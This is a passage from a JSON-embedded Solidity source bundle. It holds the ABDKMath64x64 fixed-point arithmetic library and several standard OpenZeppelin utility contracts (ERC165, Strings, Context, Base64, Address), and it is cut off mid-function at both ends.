64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns 